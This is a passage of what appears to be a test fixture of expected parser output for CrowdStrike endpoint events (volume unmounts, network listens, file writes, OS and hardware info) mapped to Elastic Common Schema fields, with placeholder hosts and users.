Drive\",\"ContextTimeStamp\":\"1625677332.283\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"VolumeMediaBSDName\":\"disk2s2\",\"VolumeMountPoint\":\"/private/tmp/KSInstallAction.dn6J5Xa1M4/m\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"FsVolumeUnmountedMacV1\",\"id\":\"ffffffff-1111-11eb-8fd9-06866dcbd3d5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffed984e248973f3ada1eb543d\",\"timestamp\":\"1625677334451\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffffed984e248973f3ada1eb543d", + "os": { + "type": "macos" + } + }, + "message": "FsVolumeUnmounted", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffed984e248973f3ada1eb543d", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:34.879Z", + "crowdstrike": { + "ConfigStateHash": "2300098580", + "ConnectionFlags": "0", + "ContextProcessId": "328911864662804336", + "ContextTimeStamp": "2021-07-07T17:04:34.525Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "0.0.0.0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05", + "name": "NetworkListenIP4LinV5" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 0 + }, + "device": { + "id": "ffffffff2a0d484da8f7a9cf8bde7164" + }, + "event": { + "action": "NetworkListenIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:04:34.879Z", + "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05|ffffffff2a0d484da8f7a9cf8bde7164|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677474.525\",\"ConfigStateHash\":\"2300098580\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"328911864662804336\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"23165\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4LinV5\",\"id\":\"ffffffff-1111-11eb-88fd-06a17d0fdc05\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff2a0d484da8f7a9cf8bde7164\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677474879\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff2a0d484da8f7a9cf8bde7164", + "os": { + "type": "linux" + } + }, + "message": "NetworkListenIP4", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff2a0d484da8f7a9cf8bde7164", + "version": "1007.8.0011308.1" + }, + "process": { + "entity_id": "328911864662804336" + }, + "related": { + "hash": [ + "2300098580" + ], + "ip": [ + "67.43.156.14", + "0.0.0.0" + ] + }, + "source": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 23165 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:27.114Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ContextProcessId": "363122200934575406", + "ContextTimeStamp": "2021-07-07T17:05:26.828Z", + "ELFSubType": "4", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "SHA256HashData": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-985c-02152dd35bc1", + "name": "ELFFileWrittenMacV1" + }, + "device": { + "id": "ffffffff28414c2293e35c360213e723" + }, + "event": { + "action": "ELFFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:27.114Z", + "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"event_simpleName\":\"ELFFileWritten\",\"ContextTimeStamp\":\"1625677526.828\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"363122200934575406\",\"Size\":\"38798952\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027\",\"FileIdentifier\":\"040000010000000000000000000000006793f80200000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ELFFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"ELFSubType\":\"4\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677527114\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe\"}" + }, + "file": { + "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64", + "extension": "nexe", + "hash": { + "sha256": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027" + }, + "inode": "040000010000000000000000000000006793f80200000000", + "name": "zoom_x86_64.nexe", + "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe", + "size": 38798952, + "type": "file" + }, + "host": { + "id": "ffffffff28414c2293e35c360213e723", + "os": { + "type": "macos" + } + }, + "message": "ELFFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff28414c2293e35c360213e723", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "363122200934575406", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027", + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:03:03.466Z", + "crowdstrike": { + "BootArgs": [ + "BOOT_IMAGE=/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64", + "root=UUID=9f548782-8f9f-4dd9-873a-436ea8f3e8a6", + "ro", + "console=tty0", + "console=ttyS0,115200n8", + "net.ifnames=0", + "biosdevname=0", + "nvme_core.io_timeout=4294967295", + "rd.emergency=poweroff", + "rd.shell=0" + ], + "ConfigBuild": "1007.8.0011611.1", + "ConfigStateHash": "3712162471", + "MajorVersion": "4", + "MinorVersion": "14", + "OSVersionFileData": "4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a", + "OSVersionFileName": "/etc/os-release", + "RFMState": "1", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-93d4-0624c36f3a79", + "name": "OsVersionInfoLinV4" + }, + "device": { + "id": "ffffffff2d1245c0a32d5efcf9351272" + }, + "event": { + "action": "OsVersionInfo", + "category": [ + "host" + ], + "created": "2021-07-07T17:03:03.466Z", + "id": "ffffffff-1111-11eb-93d4-0624c36f3a79|ffffffff2d1245c0a32d5efcf9351272|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"MajorVersion\":\"4\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a\",\"BootArgs\":\"BOOT_IMAGE\\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\\u003dUUID\\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\\u003dtty0 console\\u003dttyS0,115200n8 net.ifnames\\u003d0 biosdevname\\u003d0 nvme_core.io_timeout\\u003d4294967295 rd.emergency\\u003dpoweroff rd.shell\\u003d0\",\"ConfigStateHash\":\"3712162471\",\"AgentVersion\":\"6.19.11611.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"14\",\"OSVersionString\":\"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"OsVersionInfoLinV4\",\"RFMState\":\"1\",\"id\":\"ffffffff-1111-11eb-93d4-0624c36f3a79\",\"OSVersionFileName\":\"/etc/os-release\",\"aid\":\"ffffffff2d1245c0a32d5efcf9351272\",\"timestamp\":\"1625677383466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffff2d1245c0a32d5efcf9351272", + "os": { + "type": "linux", + "version": "Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64" + } + }, + "message": "OsVersionInfo", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff2d1245c0a32d5efcf9351272", + "version": "6.19.11611.0" + }, + "related": { + "hash": [ + "3712162471" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:03:59.398Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "364849347227309005", + "ContextTimeStamp": "2021-07-07T17:03:59.099Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "USN": "89566685", + "UnixMode": "384", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9262-0268ab613b49", + "name": "CriticalFileModifiedMacV2" + }, + "device": { + "id": "ffffffff761b4a7d9962dd9e7e776044" + }, + "event": { + "action": "CriticalFileModified", + "category": [ + "file" + ], + "created": "2021-07-07T17:03:59.398Z", + "id": "ffffffff-1111-11eb-9262-0268ab613b49|ffffffff761b4a7d9962dd9e7e776044|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "alert", + "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1625677439.099\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364849347227309005\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"04000001000000000000000000000000cdf3100100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"USN\":\"89566685\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileModifiedMacV2\",\"id\":\"ffffffff-1111-11eb-9262-0268ab613b49\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff761b4a7d9962dd9e7e776044\",\"timestamp\":\"1625677439398\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/user9.plist/\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "/private/var/db/dslocal/nodes/Default/users", + "inode": "04000001000000000000000000000000cdf3100100000000", + "name": "user9.plist", + "path": "/private/var/db/dslocal/nodes/Default/users/user9.plist/", + "type": "dir" + }, + "host": { + "id": "ffffffff761b4a7d9962dd9e7e776044", + "os": { + "type": "macos" + } + }, + "message": "CriticalFileModified", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff761b4a7d9962dd9e7e776044", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364849347227309005", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2021-07-07T17:04:49.786Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InterfaceIndex": 6, + "NeighborList": [ + "1C-AB-C0-9B-10-A2", + "2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2", + "0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-ac8a-06b5e1186139", + "name": "NeighborListIP6MacV1" + }, + "device": { + "id": "ffffffff01c7450180352a7c58a28fb4" + }, + "event": { + "action": "NeighborListIP6", + "category": [ + "host", + "network" + ], + "created": "2021-07-07T17:04:49.786Z", + "id": "ffffffff-1111-11eb-ac8a-06b5e1186139|ffffffff01c7450180352a7c58a28fb4|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"NeighborListIP6\",\"ConfigStateHash\":\"3090255842\",\"NeighborList\":\"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP6MacV1\",\"id\":\"ffffffff-1111-11eb-ac8a-06b5e1186139\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01c7450180352a7c58a28fb4\",\"timestamp\":\"1625677489786\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffff01c7450180352a7c58a28fb4", + "os": { + "type": "macos" + } + }, + "message": "NeighborListIP6", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff01c7450180352a7c58a28fb4", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:03:03.057Z", + "crowdstrike": { + "ConfigStateHash": "1325353086", + "ContextProcessId": "364952259879648742", + "ContextTimeStamp": "2021-07-07T17:03:02.785Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "IsOnRemovableDisk": "0", + "SHA256HashData": "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc1-029257dbe83b", + "name": "NewScriptWrittenMacV3" + }, + "device": { + "id": "ffffffffcebd42c0890d59b54279d3d3" + }, + "event": { + "action": "NewScriptWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:03:03.057Z", + "id": "ffffffff-1111-11eb-9dc1-029257dbe83b|ffffffffcebd42c0890d59b54279d3d3|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677382.785\",\"UserName\":\"user3\",\"ConfigStateHash\":\"1325353086\",\"ContextProcessId\":\"364952259879648742\",\"Size\":\"8052\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6\",\"FileIdentifier\":\"04000001000000000000000000000000ef07570000000000\",\"ConfigBuild\":\"1007.4.0013806.1\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc1-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffcebd42c0890d59b54279d3d3\",\"timestamp\":\"1625677383057\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/Users/user3/git/it_eng_scripts/depnotify_starter", + "extension": "sh", + "inode": "04000001000000000000000000000000ef07570000000000", + "name": "dep_notify_starter.sh", + "path": "/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh", + "size": 8052, + "type": "file" + }, + "host": { + "id": "ffffffffcebd42c0890d59b54279d3d3", + "os": { + "type": "macos" + } + }, + "message": "NewScriptWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffcebd42c0890d59b54279d3d3", + "version": "1007.4.0013806.1" + }, + "process": { + "entity_id": "364952259879648742", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6", + "1325353086" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "user3" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "user3" + } + }, + { + "@timestamp": "2021-07-07T17:03:07.216Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "CpuClockSpeed": "2400000000", + "CpuFeaturesMask": "7494065083908067", + "CpuProcessorName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz", + "CpuSignature": "591597", + "CpuVendor": "0", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "LogicalCoreCount": 16, + "MemoryTotal": "17179869184", + "PhysicalCoreCount": 8, + "ProcessorPackageCount": 1, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b714-066001392751", + "name": "SystemCapacityMacV1" + }, + "device": { + "id": "fffffffff2c7432859ff6bbe1a0bd6af" + }, + "event": { + "action": "SystemCapacity", + "category": [ + "host" + ], + "created": "2021-07-07T17:03:07.216Z", + "id": "ffffffff-1111-11eb-b714-066001392751|fffffffff2c7432859ff6bbe1a0bd6af|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"SystemCapacity\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.13\",\"CpuClockSpeed\":\"2400000000\",\"PhysicalCoreCount\":\"8\",\"CpuFeaturesMask\":\"7494065083908067\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LogicalCoreCount\":\"16\",\"Entitlements\":\"15\",\"name\":\"SystemCapacityMacV1\",\"CpuVendor\":\"0\",\"CpuProcessorName\":\"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz\",\"id\":\"ffffffff-1111-11eb-b714-066001392751\",\"CpuSignature\":\"591597\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fffffffff2c7432859ff6bbe1a0bd6af\",\"ProcessorPackageCount\":\"1\",\"MemoryTotal\":\"17179869184\",\"timestamp\":\"1625677387216\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "fffffffff2c7432859ff6bbe1a0bd6af", + "os": { + "type": "macos" + } + }, + "message": "SystemCapacity", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "fffffffff2c7432859ff6bbe1a0bd6af", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:02:48.429Z", + "crowdstrike": { + "BootTimeFunctionalityLevel": "255", + "ConfigStateHash": "3090255842", + "CurrentFunctionalityLevel": "2", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "FirmwareAnalysisEclConsumerInterfaceVersion": "0", + "FirmwareAnalysisEclControlInterfaceVersion": "0", + "PciAttachmentState": "65535", + "ReasonOfFunctionalityLevel": "3", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7", + "name": "FirmwareAnalysisStatusMacV2" + }, + "device": { + "id": "ffffffff0d7b4d839912e55b4755e85b" + }, + "event": { + "action": "FirmwareAnalysisStatus", + "category": [ + "host" + ], + "created": "2021-07-07T17:02:48.429Z", + "id": "ffffffff-1111-11eb-ba57-0214a0d89bf7|ffffffff0d7b4d839912e55b4755e85b|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"FirmwareAnalysisStatus\",\"ConfigStateHash\":\"3090255842\",\"FirmwareAnalysisEclControlInterfaceVersion\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"FirmwareAnalysisEclConsumerInterfaceVersion\":\"0\",\"BootTimeFunctionalityLevel\":\"255\",\"ReasonOfFunctionalityLevel\":\"3\",\"CurrentFunctionalityLevel\":\"2\",\"Entitlements\":\"15\",\"name\":\"FirmwareAnalysisStatusMacV2\",\"id\":\"ffffffff-1111-11eb-ba57-0214a0d89bf7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff0d7b4d839912e55b4755e85b\",\"timestamp\":\"1625677368429\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"PciAttachmentState\":\"65535\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffff0d7b4d839912e55b4755e85b", + "os": { + "type": "macos" + } + }, + "message": "FirmwareAnalysisStatus", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff0d7b4d839912e55b4755e85b", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:04.544Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "InDiscards": "0", + "InErrors": "0", + "InMulticastPkts": "0", + "InOctets": "0", + "InUcastPkts": "0", + "InUnknownProtos": "0", + "InterfaceAlias": "utun2", + "InterfaceIndex": 17, + "InterfaceType": "1", + "LocalAddressIP4": [ + "67.43.156.14" + ], + "NetLuidIndex": 2, + "OutErrors": "0", + "OutMulticastPkts": "0", + "OutOctets": "0", + "OutUcastPkts": "0", + "PhysicalAddressLength": 0, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-a272-0294ad12fbe7", + "name": "LocalIpAddressIP4MacV1" + }, + "device": { + "id": "ffffffff557f4b99a0afdea9ce8cd6fa" + }, + "event": { + "action": "LocalIpAddressIP4", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:05:04.544Z", + "id": "ffffffff-1111-11eb-a272-0294ad12fbe7|ffffffff557f4b99a0afdea9ce8cd6fa|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.13\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"utun2\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"17\",\"event_platform\":\"Mac\",\"InterfaceType\":\"1\",\"id\":\"ffffffff-1111-11eb-a272-0294ad12fbe7\",\"PhysicalAddressLength\":\"0\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677504544\",\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"3090255842\",\"PhysicalAddress\":\"\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP4MacV1\",\"aid\":\"ffffffff557f4b99a0afdea9ce8cd6fa\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff557f4b99a0afdea9ce8cd6fa", + "os": { + "type": "macos" + } + }, + "message": "LocalIpAddressIP4", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff557f4b99a0afdea9ce8cd6fa", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.13", + "67.43.156.14" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:04:59.681Z", + "crowdstrike": { + "ConfigStateHash": "4288861242", + "Entitlements": "15", + "MD5HashData": "894356eb59e279696c304f07091b7fde", + "NDRoot": "321385814512398584", + "RGID": "0", + "RUID": "0", + "SHA256HashData": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa", + "SVGID": "0", + "SVUID": "0", + "SessionProcessId": "314116638974342642", + "SourceProcessId": "321385814512398584", + "SourceThreadId": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-ac87-06decddc17a1", + "name": "ProcessRollup2LinV5" + }, + "device": { + "id": "ffffffff70d140ca9ba97f0dddd14137" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2020-11-08T17:04:59.681Z", + "id": "ffffffff-1111-11eb-ac87-06decddc17a1|ffffffff70d140ca9ba97f0dddd14137|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"CommandLine\":\"uname 